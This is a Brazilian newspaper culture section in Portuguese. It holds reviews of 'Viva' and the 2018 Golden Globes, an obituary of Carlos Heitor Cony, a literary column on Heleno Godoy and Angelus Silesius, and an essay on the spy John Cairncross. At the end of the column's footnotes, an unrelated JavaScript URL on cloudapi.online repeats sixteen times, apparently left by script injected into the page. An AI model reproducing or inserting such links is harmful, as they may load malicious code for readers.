Opção cultural

– O que dizer do poeta João (Fernandez) Filho e deste seu “Auto da romaria”? Bem, tenhamos como pressuposto: João Filho é poeta que deve marcar seu nome na história da poesia brasileira do século XXI. Seu lugar não está reservado apenas entre os poetas católicos, mas, com certeza entre os grandes da poesia de nossa época. E o que me leva a fazer tal aposta?

Ganhador do Globo de Ouro 2018 de melhor animação, “Viva - a Vida É uma Festa!” foi feito com muito capricho, num esmero técnico inédito até para as produções da produtora americana
[caption id="attachment_114364" align="alignnone" width="620"] Miguel Rivera é um garoto mexicano aspirante a músico, que precisa enfrentar os dogmas familiares para ir atrás de seu sonho[/caption]
Os Estúdios Pixar parecem nunca errar. Filme após filme, se firmam cada vez mais como um modelo técnico e sentimental a ser seguido, sabendo explorar temas delicados de forma inteligente e divertida. O resultado é o respeito extremo com seu público-alvo - as crianças -, sem excluir aqueles responsáveis por levá-las às salas de cinema: os adultos.
Com “Viva - a Vida É uma Festa!”, que acaba de ganhar o Globo de Ouro 2018 de Melhor Animação, a companhia se superou uma vez mais. Dirigido por Lee Unkrich (o nome por trás do emocionante “Toy Story 3”, de 2010, e Adrian Molina, o filme conta a história de Miguel Rivera, um garoto aspirante a músico que precisa enfrentar os dogmas familiares para ir atrás de seu sonho.
Mas os Rivera rejeitam a música em todas as suas expressões, impondo ao garoto obediência à continuidade do sugestivo ofício de sapateiro, passado de geração a geração. Sapatos para quem precisa manter os pés no chão - ou para quem não consegue alçar vôo, pregaria o teólogo da Libertação Leonardo Boff.
Trata-se de uma animação, não nos esqueçamos disso. Existem personagens caricatos, momentos pastelões e até o toque musical característico das produções Disney/Pixar, tudo em busca de fisgar o público infantil. Mas tudo feito com muito capricho, num esmero técnico inédito até para as produções da empresa. As texturas, cenários, iluminação e a ação em geral estão melhores do que nunca! A personagem de Inez (no original, ela chama-se “Coco”, diminutivo de "Socorro"), bisavó de Miguel, por exemplo, é de uma perfeição estética fascinante.
Experiência renovadora
Como toda produção Pixar, a temática é profunda. Miguel é um garoto absolutamente comum, com uma avó superprotetora (hoje em dia, dir-se-ia "helicóptero") e a impotência diante da imposição superior.
E, como já é comum em roteiros da Pixar ou da Disney, o ponto de virada para o segundo ato vem com a revolta do protagonista - foi assim também em “Toy Story” (1995), “Procurando Nemo” (2003), “Valente” (2012), “Divertida Mente” (2015), “Moana” (2016). Aquela chutada de balde que rompe com o status quo e permite a experiência renovadora. A rebeldia necessária que impulsiona o sujeito para o mundo e dá aquela provocada em seu superego.
Aliás, interessante perceber essa intenção camuflada que a Pixar utiliza ao trazer temas universais para universos tão peculiares: a paternidade discutida em “Procurando Nemo” e “Monstros S/A”, a formação da identidade coletiva e individual em “Toy Story” e “Os Incríveis” (2004), a família e a memória em “Up - Altas Aventuras” (2009) e agora nesse belíssimo “Viva - a Vida É uma Festa!”.
Tudo isso sem nunca subestimar a inteligência de seu espectador (aliás, em um certo diálogo, o personagem Hector, de “Viva”, chega a dizer que está tomando cuidado com o que fala, pois existe criança ouvindo, em uma piada de duplo sentido perceptível apenas para os adultos da sala).
Memória e respeito
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Filme é um dos mais emocionantes já produzidos pela Pixar, utilizando-se da morte como veículo para discutir a memória e a família[/caption]
O fato é que “Viva” consegue ser um dos filmes mais emocionantes já produzidos pela Pixar, ao utilizar-se da morte como veículo para discutir a memória e a família. Tudo contextualizado com o “Dia de los muertos”, uma data significativa para os mexicanos. Aliás, é bom dizer que foram necessários mais de três anos de pesquisas para o roteiro ficar pronto, numa demonstração singular de respeito às tradições e culturas do México - algo pouco comum a Hollywood, acostumada, em geral, com humilhações ou exageros ao retratar países estrangeiros. O respeito na tela é tocante.
A parte musical do filme também impressiona, com canções belíssimas. Aliás, o filme também concorreu ao Globo de Ouro como Melhor Canção original com a música “Remember Me” ("Lembre de Mim"), que perdeu para o tema do filme “O Rei do Show” (“This Is Me”).
Em todo caso, pode-se dizer que “Remember Me” é a canção-tema mais marcante desde “Let it Go”, e deverá faturar alguns prêmios. As adaptações das canções no filme são muito bem feitas ao português (aliás, outro aspecto que a Disney e a Pixar sempre priorizaram em seus filmes). Impossível não sair do cinema cantando.
“Viva - a Vida É uma Festa!” é daqueles raros filmes que, de uma forma muito natural, te carregam no colo durante todo o tempo de exibição, deixando-te com certo aconchego no coração ao voltar pra casa. Não há quem não se lembre, emocionado, de um ente querido que já se foi, ou de uma criança que acaba de chegar à família.
O escritor Amós Oz, certa feita, disse que estaremos no mundo só até o dia em que morrer a última pessoa a se lembrar de nós. Carregando essa premissa, “Viva” deixa essa missão a todos os que se importam: estar vivo é também manter viva a memória dos que você ama, dos que compõem sua identidade.

Diretores e atores de renome ficaram para trás, como Steven Spielberg, Meryl Streep, Tom Hanks e Ridley Scott, na primeira grande festa do cinema do ano
[caption id="attachment_114329" align="alignnone" width="620"] Frances McDormand (Globo de Ouro de Melhor Atriz em 2018) contracena com Woody Harrelson, no filme “Três Anúncios para um Crime”, o grande vencedor | Foto: Divulgação[/caption]
Com quatro prêmios conquistados (Melhor Filme de Drama, Melhor Ator Coadjuvante - Sam Rockwell –, Melhor Atriz – Frances McDormand –, e Melhor Roteiro – Martin McDonagh, que também dirigiu o filme), “Três Anúncios Para Um Crime” saiu-se o grande vencedor da noite na festa do Globo de Ouro 2018, em Los Angeles, Estados Unidos. O evento é realizado pela Associação de Correspondentes Estrangeiros de Hollywood.
“Três Anúncios Para Um Crime” é um filme policial de humor negro que conta a história de uma mãe (Frances McDormand) em busca de justiça pelo assassinato brutal da filha.
“A Forma da Água”, do mexicano Guillermo del Toro, sobre mulher que tenta salvar uma criatura fantástica de laboratório, que está sendo maltratada e servindo de experiência por uma base secreta do governo americano, na década de 1960, tinha sete indicações, e só levou dois prêmios.
O filme poderia ser chamado de perdedor, não fosse a vitória de Guillermo del Toro como Melhor Diretor, além de ganhar o Prêmio de Melhor Trilha Sonora, com Alexandre Desplat. Del Toro agora faz parte de uma importantíssima trinca de diretores mexicanos que levaram o troféu do Globo de Ouro para casa.
Para fechar o trio com chave de ouro, del Toro precisa fazer como seus outros dois compatriotas, Alfonso Cuarón (“Gravidade”, 2014) e Alejandro González Iñárritu (“O Regresso”, 2016), que venceriam o Oscar logo em seguida. Mas para isso, será preciso esperar até o dia 23 de janeiro para confirmar sua provável indicação, e depois vencer os concorrentes.
Outro filme que merece atenção é “Lady Bird – A Hora de Voar”, que também levou dois prêmios, na categoria Musical ou Comédia: Melhor Filme e Melhor Atriz (Saoirse Ronan).
Alegrias e decepções
De uma lista de 22 filmes com indicações, sete foram premiados na noite de ontem. Os demais vencedores foram Gary Oldman (Melhor Ator de Drama em “O Destino de uma Nação”), James Franco (Melhor Ator de Musical ou Comédia em “Artista do Desastre”) e Allison Janney (Melhor Atriz Coadjuvante em “Eu, Tonya”). O filme “O Rei do Show” venceu na categoria Melhor Canção Original (This Is Me).
Mas houve decepções sobre grandes estrelas que voltaram para casa com as mãos abanando, como Christopher Nolan (“Dunkirk”), Steven Spielberg, Meryl Streep e Tom Hanks (“The Post - A Guerra Secreta”), Ridley Scott (“Todo o Dinheiro do Mundo”), Daniel Day-Lewis (“Trama Fantasma”) e Denzel Washington (“Roman J Israel, Esq”).
Outras categorias
“Viva - A Vida é Uma Festa”, da Pixar, com direção de Lee Unkrich, venceu o Globo de Ouro como Melhor Animação. E o filme alemão “Em Pedaços”, dirigido por Fatih Akin, ganhou o Prêmio de Melhor Filme Estrangeiro, com a história de uma mulher que decide vingar a morte do marido (ex-traficante de drogas, que acabara de sair da cadeia) e do filho, mortos por um grupo de neonazistas.
O evento também possui prêmios destinados aos produtos da Televisão e serviços de streaming, como séries, minisséries e filmes para TV.
A apresentadora de TV, atriz, produtora e showwoman, Oprah Winfrey, de 63 anos, recebeu o Prêmio Especial Cecil B. DeMille. Em seu discurso, ela lembrou da infância pobre, da mãe que sofria violência doméstica, da influência positiva que teve ao ver Sidney Poitier ganhando o Oscar em 1964, quando ela era ainda uma menina. E dedicou o prêmio às garotinhas e mulheres que estivessem lhe assistindo naquele momento.
Oprah Winfrey finalizou seu discurso falando do grande basta que vem sendo repetido contra todo tipo de violência contra a mulher, não só em relação aos casos de assédio que dobrou Hollywood no final do ano passado.
“Este ano, somos a história, não só na indústria do entretenimento, mas uma história que transcende isso. Esta noite vai para as mulheres que suportaram anos de abusos e violência, porque elas, como minha mãe, tinham contas pra pagar e sonhos para correr atrás”, disse Oprah.
“Histórias de violência contra as mulheres são muitas, cujos autores nunca pagaram por isso. Mas os tempos são outros. O tempo para a barbárie acabou. Time’s up”, finalizou a apresentadora, sob aplausos.

Jornalista, romancista, cronista, homem culto, Cony estava internado em um hospital no Rio de janeiro; a causa da morte foi falência múltipla de órgãos
[caption id="attachment_114266" align="alignnone" width="620"] Carlos Heitor Cony (1926-2018): dono de um senso crítico aguçado, escritor deixa um legado intelectual raro | Foto: Divulgação[/caption]
O escritor carioca Carlos Heitor Cony morreu no final da noite de sexta-feira, aos 91 anos, no Rio de Janeiro. A causa da morte foi falência múltipla de órgãos. Cony era dono de um senso crítico aguçado. Qualquer crítica que fizesse, fosse sobre um político de direita ou de esquerda, por exemplo, era uma grande lição.
Membro do Conselho Editorial do jornal “Folha de S. Paulo”, autor de vários romances e incontáveis textos de opinião, Cony deixa um legado intelectual raro. Durante muito tempo, ele escreveu diariamente uma coluna na “Folha”, em que falava de tudo, desde política e cultura, aos temas mais chãos e ligados à memória cotidiana, como sua cachorrinha, que o inspirou a escrever o romance “Quase Memória”.
Livros de ficção como “O Ventre”, “Pessach – A Travessia”, “Informação ao Crucificado”, e jornalísticos ou biográficos como “Ato e Fato - O Som e a Fúria de Que Se Viu no Golpe de 1964” e “JK e a Ditadura”, são exemplos da herança que ele deixa à memória brasileira. Em 2016, a Editora Nova Fronteira publicou uma caixa com alguns de seus livros.
Uma das frases que Cony mais repetiu em sua vida é um contrassenso ao seu estado na infância. “É verdade que o senhor demorou para falar?”, perguntavam-lhe. “Fui mudo até os cinco anos. O pessoal pensava que eu era retardo. Mas é que eu não tinha nada a dizer, a verdade é essa. Até os cinco anos, eu não tinha nada a dizer”, respondia o escritor. Essa afirmação já faz parte do Cony adulto e entusiasta do cinismo e da ironia.
Cony não só demorou a falar, como tinha a língua presa e era disléxico. Ele trocava as letras, até os 15 anos. Aeroporto, por exemplo, ele dizia arieporto. Por causa disso, passou a escrever bilhetes para a mãe e pregá-los na porta da geladeira. Depois foi estudar num seminário, para ser padre, de onde saiu culto e ateu.

Livro de Marilene Felinto, de 1984, mostra como as mulheres enfrentam o passado para se redescobrirem mais fortes, em sua identidade feminina

Para os cinéfilos brasileiros, que apreciam os bons filmes de Hollywood, o charme do evento é muito mais por servir de prévia do Oscar

Palavra do ano 2017, segundo o “Dicionário Oxford”, nos faz apreciar a natureza reflexiva do idioma de Shakespeare e sua capacidade sintética

Livro de escritor paulista, Prêmio Facult de 2012, narra a saga da miséria humana, sobre trabalhadores de um parque industrial de química no interior de São Paulo

Vista em retrospectiva, por esta coluna passaram, em 2017, vários autores críticos, poetas, cronistas, filósofos e o maior teólogo do século XX (J. Ratzinger). Estes diálogos continuam semanais no ano que estamos começando, sempre em busca do "leitor que queima pestanas", reavivando a velha "crônica-de-rodapé", exemplar em Franklin de Oliveira, Augusto Meyer e Temístocles Linhares.
[caption id="attachment_113665" align="aligncenter" width="625"] Os poemas místicos publicados por Ângelus Silesius, no Século XVII, permanecem atuais até hoje[/caption]
Vários livros sobre a mesa me fazem lembrar Temístocles Linhares, quando diante de um dever de ofício contemplava-os com amor, antes de enfrentá-los, pois, afinal, todo livro tem sua história e já o sabemos um homem não entra e sai de um bom livro sendo o mesmo:
– “Como previa – dizia eu a meu companheiro –, os livros de e sobre poesia continuam a acumular-se sobre a mesa e nós ainda temos muito que conversar a respeito.[i]”
Também este velho jornalista, dublê de comerciante e poeta hoje, depois de quarenta anos passados desde a publicação desses “Diálogos...” (de Linhares), sente-se no dever de continuar escrevendo pois crê ter muito a conversar a respeito da Poesia, da crítica (da crítica), da ficção, da teologia e outros tópicos nem tão frequentes na rotina cansada de nossos jornais cada vez menos literários...
Afinal, como diz o professor, crítico e poeta Heleno Godoy:
[caption id="attachment_113667" align="aligncenter" width="363"]
O poeta e professor Heleno Godoy que teve sua poesia completa reunida pela martelo Casa Editorial no livro "Inventário"[/caption]
“Um livro responde às assinaturas
subscritas, incorpora tempestades,
incendeia oceanos poderosos,
ervas frágeis, manhãs que des-
pertam quando a lua ainda
não se foi. Um livro abrange
um delírio, homens livres
e fugitivos. Um livro estreita
relações, anula diferenças
ou estabelece seus contrários,
como a aranha surpreende
sua presa, enredando-lhe
os contornos, sintética, fria,
anagramática. Um livro
é mortal como esmeralda
falha e falsa, reconciliação
de cômodos intervalos.
Mas pode ser violento como
um tribunal ou uma missa
rezada em silêncio, um vinho
bebido em jejum, pão comido
lenta e parcimoniosamente.
[...][ii]”
Acertada visão essa do poeta goiano Heleno Godoy, felicíssima ao transpor ao verbo sua compreensão do objeto livro, nesse trecho do poema homônimo, ao qual volto mais tarde...
O fato é que após quase cinco meses, redigindo esta coluna semanal, dedicada inteiramente à literatura, dessas crônicas que se deixam permear pela crítica ensaística, o fato, dizia: é que os livros são um desafio constante para o que escrutina em busca de conexões para o leitor ansioso por aprofundar leituras – aquele Leitor (sim, com L maiúsculo, porque maior é seu valor!) que se torna a um só tempo aquele que “queima pestanas; é um leitor petulante”.
Bem, precisamos ir à origem das palavras para delas melhor extrair prazer e conselho; e petulante é dessas palavras que nasceram negativas, mas depois foi se adoçando pelo falar (e escrever) do brasileiro e denota aquele que tem ímpeto, o que tem vivacidade, este leitor, você que veio até aqui, passando pela colina acima anteposta sob a forma do que os leitores de 140 caracteres mais detestam: o texto poético, exposto em estanças, como deve ser e o foi na concepção original do poeta. Pois bem, eis-nos diante dos livros esses paquidermes insolentes que nos atiram à gruta ou ao voo livre em plena estação da chuva. E se deixo a metáfora em itálico, deve-se ao fato de que não desejo ser traído pela memória de minhas leituras de Jorge Luis Borges.
De “petulante” (do lat. “petulans” - raiz petere) saco apenas o sentido não agressivo, só aquele senso positivo que creio estava na origem do termo usado pelo crítico gaúcho Augusto Meyer ao dizer-se ansioso por ser lido justamente por este tipo de leitor, o que segue (ou busca) um caminho com a persistência que se exige para se atingir um alvo.
Eis-nos às portas do final da segunda década deste século mau. Exige-se um balanço e um planejamento para que o cronista também seja digno de nomear-se “petulans”, sem agressividade. Os livros que foram analisados nessa coluna o foram sempre que possível nomeados ao final, com notas de fim dos artigos, com o fito de animar o leitor a aprofundar-se no que aqui só esboçamos para o deleite de autor e leitores.
Vista em retrospectiva, nesta coluna passaram vários autores críticos, poetas, cronistas, filósofos e um teólogo (Ratzinger): Ivan Junqueira, T.S. Eliot, Tasso da Silveira, Vinicius de Moraes, Jorge de Lima, Augusto Frederico Schmidt, Tasso da Silveira, Wladimir Saldanha, Vicente Ferreira da Silva, Lúcio Cardoso, John Macy, J. G. Merquior, Giacomo Leopardi, Otto Maria Carpeaux, Kazuo Ishiguro, Jorge Luis Borges, Mircea Eliade, Carlos Nejar, João Alexandre Barbosa, Manoel Bandeira, Érico Nogueira, a Bíblia Sagrada, Virgílio, Franklin de Oliveira, Temístocles Linhares, Hermann Broch, Henriqueta Lisboa, James Wood e Joseph Ratzinger.
Os próximos alvos de nossos comentários serão estes dois livros que reputo como o grande trunfo da incipiente mas laboriosa indústria editorial goiana. Dois lançamentos nacionais de peso e de autores muito respeitados em todo o mundo. Falo de “Nas sombras do amanhã” (de Johan Huizinga, tradução de Sérgio Marinho), da editora Caminhos; e “Moradas”, de Angelus Silesius (tradução de Marco Lucchesi).
[caption id="attachment_113666" align="aligncenter" width="407"]
Dois livros de autores canônicos tiveram lançamento nacional em Goiânia[/caption]
Deseja o cronista fazer-se acompanhar desses dois livros a uma estação de veraneio, onde espera o afeto dos amados, sobretudo dos netos! e ler – pois ler, digo logo ao interlocutor invisível desta crônica, não é de todo uma atividade que o faça por obrigação. Ou seja: o cronista estará de férias, mas esta coluna não.
Huizinga já é velho conhecido meu – desde a leitura crítica, quase estudo, que fiz “O outono da idade média” e Angelus Silesius, o convertido ao Catolicismo que se fez poeta de elevada estirpe, já me seduzia com sua poesia mística há muito tempo.
Quis o destino que o tradutor brasileiro fizesse, antes de assumir a presidência da Academia Brasileira de Letras, o lançamento nacional deste belo livro em Goiânia. Eu tive a chance de conviver algumas horas com Marco Lucchesi, um homem de grande sabedoria, um poeta e tradutor de comprovado domínio do verbo; um tradutor de inúmeros idiomas. Passou o sr. Lucchesi por Goiânia como um anjo passa: deixou a mensagem divina impregnada à sua humildade, que ao contrário de muitos intelectuais da província, ele um poeta cosmopolita a tem e a esbanja – se é que humildade se esbanje, pois de todas as virtudes esta é a que mais se dá a conhecer quanto menos se explicita. É-se humilde, sendo silencioso e acolhedor. É pelos humildes, ensina-nos o Eclesiastes, que Deus é (verdadeiramente) honrado!
Marco Lucchesi é um homem que se porta como um sábio. É um que segue o conselho dos versos pedagógicos do Cap. 3 do Sirácida: “19 Filho, realiza teus trabalhos com mansidão e serás amado mais do que alguém que dá presentes. /20 Na medida em que fores grande, humilha-te em tudo e assim encontrarás graça diante de Deus. Muitos são altaneiros e ilustres, mas é aos humildes que ele revela seus mistérios. /21 Pois grande é o poder só de Deus, e pelos humildes ele é honrado. /22 Não procures o que é mais alto do que tu nem investigues o que é mais forte; pensa sempre no que Deus te ordenou e não sejas curioso acerca de suas muitas obras, /23 pois não precisas ver com teus olhos o que está escondido.”
Voltarei a esses temas, dileto Leitor, mas por ora me ocupo, sumariamente, desses dois lançamentos das editoras martelo e da Caminhos, ambas casas editoriais goianas.
Como “Moradas[iii]” já foi livro resenhado aqui no Opção Cultural pelo sr. Gilberto G. Pereira; restrinjo minhas considerações para os aspectos místicos e a catolicidade do autor – o que prometo realizar ao longo de 2018.
Por ora, só observação relevante, pois, desde logo, é preciso que se esclareça, embora implícito na erudita introdução do Sr. Faustino Teixeira: o poeta-polemista Johannes Scheffer, filho de um nobre polonês luterano (nasceu em Breslávia em 1624; morto aos 9 de julho de 1677). Obteve o diploma de Doutor em Filosofia e Medicina, na Universidade de Pádua, em 1648, tornando-se médico da corte do príncipe de Oels, na Silésia; foi recebido na Igreja Católica em 1653, levando a confirmação (Crisma) o nome de Angelus, ao qual ele adicionou o sobrenome Silesius (Silésia), pelo qual ele é conhecido na história da literatura. Em 1661, ele foi ordenado sacerdote e se retirou para o mosteiro dos Cavaleiros da Cruz em Breslávia, onde morreu.
Sua fortuna foi doada às instituições piedosas e caritativas. Ao lado dos jesuítas Spee e Balde, ele foi um dos poucos poetas distinguidos que a Alemanha produziu em uma era de esterilidade poética e gosto degradado. Silesius publicou, em 1657, as duas obras poéticas em que se destaca a fama: "O prazer espiritual da alma" (“Heilige Seelenlust”) é uma coleção de mais de duzentas canções religiosas, muitas delas de grande beleza, que encontraram seu caminho não só para o católico, mas até para o hinário protestante. O Peregrino Querubínico (Der Cherubinische Wandersmann) é uma coleção de mais de 1600 dísticos rimados, repletos de profundos pensamentos religiosos expressos em forma epigramática. Um pequeno número desses pares parece saborear o quietismo ou o panteísmo.
A enciclopédia Católica (“New Advent.org”) recomenda que estes deveriam ser interpretados em um sentido ortodoxo, pois Angelus Silesius não era um panteísta.
Suas escritas em prosa são ortodoxas; " O Peregrino Querubínico" foi publicado com o Imprimatur eclesiástico e, em seu prefácio, o próprio autor explica seus "paradoxos" em um sentido ortodoxo e repudia qualquer futuro panteísta de interpretação. Em 1663, ele começou a publicação de seus cinquenta e cinco panfletos polêmicos contra as várias seitas protestantes, sendo que destes, 39 ganharam forma de livro sob o título de “Eccleciologia” (Eclesiologia).
Já sobre o Huizinga de “Nas sombras do amanhã”, o leitor encontrará no Estado de S. Paulo a melhor análise já feita, de autoria do professor e crítico Fabrício Tavares de Moraes, em duas belas partes, publicadas nos dias 15 e 29 de outubro do ano passado. Destacar trechos da erudita análise do prof. Fabrício daria ao leitor uma janela bem estreita do vasto panorama que o crítico nos traça. Recomendo, pois, e com entusiasmo a leitura dos artigos doutorais citados no rodapé desta crônica[iv].
E assim como ano se foi, como a vida flui, esta crônica se findando. E não poderia finalizar senão com o poema que começamos. Saudemos o ano 2018 pois:
“Um livro é um sacramento.
É uma sagrada eleição
de eternidade, uma desolação
dirigida, rumor de elementos
em voo para a especulação
de circunstâncias, um quarto
empoeirado, um astronauta
com o corpo em chamas, re-
entrando o espaço finito.
Um livro inventa e cega.
A abelha jovem, o livro se
constrói como um aparelho
funciona, impenetrável em sua
aparente simplicidade externa,
adormecido e intrincado em seu
interior preciso e visitado.
Um livro constrói uma direção,
ilude um homem, industria outro.
Todo livro subsidia a luz e a
escuridão. Um livro contra
diz.
(Heleno Godoy[v]).
Adalberto de Queiroz é jornalista e poeta. Autor de “Frágil armação”, 2a. ed., Goiânia: Editora Caminhos, 2017. Email para: [email protected]
[i] LINHARES, Temístocles. “Diálogos sobre a poesia Brasileira”. S. Paulo: Melhoramentos, 1976; pág. 252. [ii] GODOY, Heleno. “Inventário: poesia reunida, inéditos e dispersos (1963-2015)”. Goiânia: martelo, 2015. Org. Solange Fiuza Cardoso Yokozawa, p.318. [iii] SILESIUS, Angelus (1624-1677). “Moradas” [36 poemas]. Goiânia: martelo, 2017. Trad. Marco Lucchesi, intr. Faustino Teixeira, ilustr. e dir. arte: Lucas Mariano. [iv] Artigos do prof. Fabrício Moraes em O Estado de S. Paulo: http://cultura.estadao.com.br/blogs/estado-da-arte/johan-huizinga-e-a-consciencia-da-historia/ e http://cultura.estadao.com.br/blogs/estado-da-arte/johan-huizinga-e-a-consciencia-da-historia-2/ , respectivamente, consultadas em 26/12/17, 14h56. [v] "Inventário" – pág. 318 fini e p.319. https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js

Com espaço bem desenhado e personagens expressivos, narrativa de “Godless” tem intensidade dramática ao mostrar que convívio social é uma necessidade que a violência interrompe

Ronaldo Werneck publica perfil de escritor mineiro, um dos autores mais talentosos da história da literatura brasileira, já comparado a Franz Kafka e James Joyce, e agora esquecido

Dirigido pelo americano Stephen Chbosky, produção que traz o talentoso ator mirim Jacob Tremblay no papel de um garoto com deformação no rosto, mostra que amigos se fazem nas frestas do encantamento

Famoso “quinto homem”, John Cairncross torna-se, estranhamente, a figura-chave da KGB e, de alguma forma, muito mais importante que Philby
[caption id="attachment_113622" align="alignnone" width="620"] John Cairncross (1913-1995), um dos “cinco magníficos” de Cambridge: era um melômano inveterado, e por isso os russos o chamaram de Liszt | Foto: Divulgação[/caption]
FRANK WAN
Especial para o Jornal Opção
John Cairncross era matemático, e de 1941 a 1946 trabalhou em missões de desencriptação. Foi colocado no Government Code and Cypher School (GC & CS) no famoso edifício de Bletchley Park – na nomenclatura russa, “Kurort”.
Cairncross era um melômano inveterado, e por isso os russos o chamaram de Liszt. Segundo registos soviéticos, Cairncross forneceu qualquer coisa como 5.832 documentos aos russos. Em entrevistas já no fim da vida, sugeria sempre que não conhecia, na época, a ligação de Philby aos russos.
Muito da informação que temos para reconstituir a sequência dos acontecimentos baseia-se quer no livro, quer nas declarações de Yuri Modine, o chamado “controlador” dos “Cinco magníficos”. Modine publicou em França, em 1994, um livro com o título quase cómico “Mes Camarades de Cambridge” (“Os Meus Camaradas de Cambridge”).
Neste mundo da espionagem, nunca se percebe bem quem mente e quem pensa que está dizendo a verdade, mas foi manipulado e recebeu informações falsas. A par disso, como na vida, cada um tenta sempre dar a ideia que ele mesmo teve um papel decisivo. Por exemplo, Modine afirma que, mais tarde, Cairncross lhe passou informações sobre as armas nucleares da Otan na Alemanha, mas as datas não coincidem – os primeiros planos de armamento nuclear americano colocado na Alemanha são muito posteriores.
As informações que Cairncross passou aos soviéticos foram importantes, entre muitos outros, para a batalha de Kursk. A Batalha de Kursk foi um momento decisivo da Segunda Guerra Mundial, colocando frente a frente as forças alemãs e soviéticas na chamada Frente Oriental, perto de Kursk, mais ou menos a 500 quilômetros de Moscou. Estavam no terreno, dos dois lados, meios consideráveis.
Nestas situações de confronto de forças em larga escala, as informações advêm quer das próprias forças, quer das intenções e forças do inimigo, e a capacidade estratégica é decisiva. É o momento em que os generais e os espiões mostram toda a sua competência ou a falta dela.
Campo de batalha
John Cairncross registrava todas as informações que a máquina inglesa desencriptava, e passava-as imediatamente aos soviéticos. Muitas dessas informações tiveram efeito imediato para os russos no terreno. Alguns historiadores chegam mesmo a indicar as informações de Cairncross como as mais decisivas e de maior impacto direto no campo de batalha e talvez as mais importantes da história da guerra moderna e da espionagem.
Os alemães comunicavam entre si no campo de batalha. Os ingleses interceptavam as comunicações e desencriptavam. Cairncross tomava nota de tudo, passava a informação nesse mesmo dia através dos seus canais e o comando russo recebia a informação e tomava decisões com a gigantesca vantagem de conhecer tudo sobre o inimigo.
O efeito real das informações passadas é sempre difícil de avaliar, mas não é por acaso que a autobiografia de Cairncross se intitula “A História do Homem que Mudou o Curso da II Guerra Mundial” (The Enigma Spy: an Autobiography – the Story of the Man Who Changed the Course of World War Two).
Cairncross negou sempre este epíteto de “quinto homem”. Confirmou ter passado informações “ao inimigo”, mas afirmou sempre que o que fazia estava de acordo com a estratégia inglesa, uma vez que, passar informações aos russos na batalha de Kursk era passar informações a um aliado contra o Terceiro Reich – mas não há qualquer traço de ter recebido ordens para passar informações.
O nome de Cairncross nem nunca apareceria em qualquer registro se não fosse Oleg Gordievsky, já depois da Guerra Fria, em pleno 1990, tê-lo denunciado como o quinto homem, e foi na sequência dessa denúncia que Modine publicou, em 1994, em França, o livro já citado em que confirma, neste aspecto particular, as acusações de Gordievsky.
Mistério
Se é verdade que é difícil defender a posição de Cairncross como estando ao serviço da Inglaterra, a verdade é que nunca foi levantado contra ele qualquer processo de investigação, e a sua vida prosseguiu sempre sem qualquer sobressalto, o que adensa o mistério: ninguém entende o que levou os sucessivos governos ingleses a escamotear sempre a participação de Cairncross. Vai, mais tarde, ter uma belíssima sinecura na Organização das Nações Unidas para Alimentação e Agricultura (FAO) e fazer umas traduções para o Banco de Itália.
A grande verdade é que, mesmo após a guerra, continua na frente da liça dos jogos de espionagem. Pendem sobre ele a suspeita e a acusação de ter entregue todos os segredos dos planos nucleares ingleses e todo o programa de armas nucleares ocidental, incluindo o famoso Projeto Manhattan – as suspeitas sobre este último caso são muito tênues: nem teve acesso a informações técnicas (estas não passavam por Inglaterra, Robert Oppenheimer fechava muito bem a informação técnica entre físicos) e, mesmo que tivesse tido, os seus conhecimentos de matemática-física eram insuficientes para saber retirar informações que auxiliassem físicos no avanço dos seus projetos.
Há indícios substanciais que Cairncross esteve no centro de todo um cruzamento de informações na antiga Jugoslávia. As forças compósitas do Eixo ocuparam a antiga Iugoslávia e trocavam entre si comunicações. A GC & CS ( Government Code and Cypher School) interceptava e decifrava informações quer do lado alemão, quer dos “partisans iugoslavos” com o Komintern (Kommunistische Internationale – Terceira Internacional ou Internacional Comunista) e com a União Soviética. Cairncross tinha acesso a todas as desencriptações e passava tudo verbatim para os soviéticos.
Presença
Estranhamente, de forma direta ou indireta, Cairncross está sempre em todos os grandes acontecimentos mundiais: está presente de forma indelével nos planos nucleares ingleses do pós Segunda Guerra Mundial e, inclusive, vai estar presente na guerra Irã-Iraque dos anos 1980, onde aparece com o estranho papel de “analista de cenários internacionais”.
Mas teria morrido incógnito, esquecido e ocultado pelos ingleses, não fosse o papel decisivo do jornalista de investigação Barry Penrose que em 1979, na sequência da investigação que levou a cabo sobre Anthony Blunt, que chegou à conclusão e confrontou Cairncross em Roma com o fato de este ser de forma concludente o “quinto homem”.
A partir de 1960, dedicou-se à produção de ensaios, atividade a que todos os falhados e deprimidos se entregam, e tradução para inglês dos autores franceses do século 17: Corneille, Mollière, La Fontaine, Racine. Passou os últimos anos de vida na França, mas morreu na Inglaterra.
Frank Wan vive em Portugal. É ensaísta, poeta, professor e tradutor

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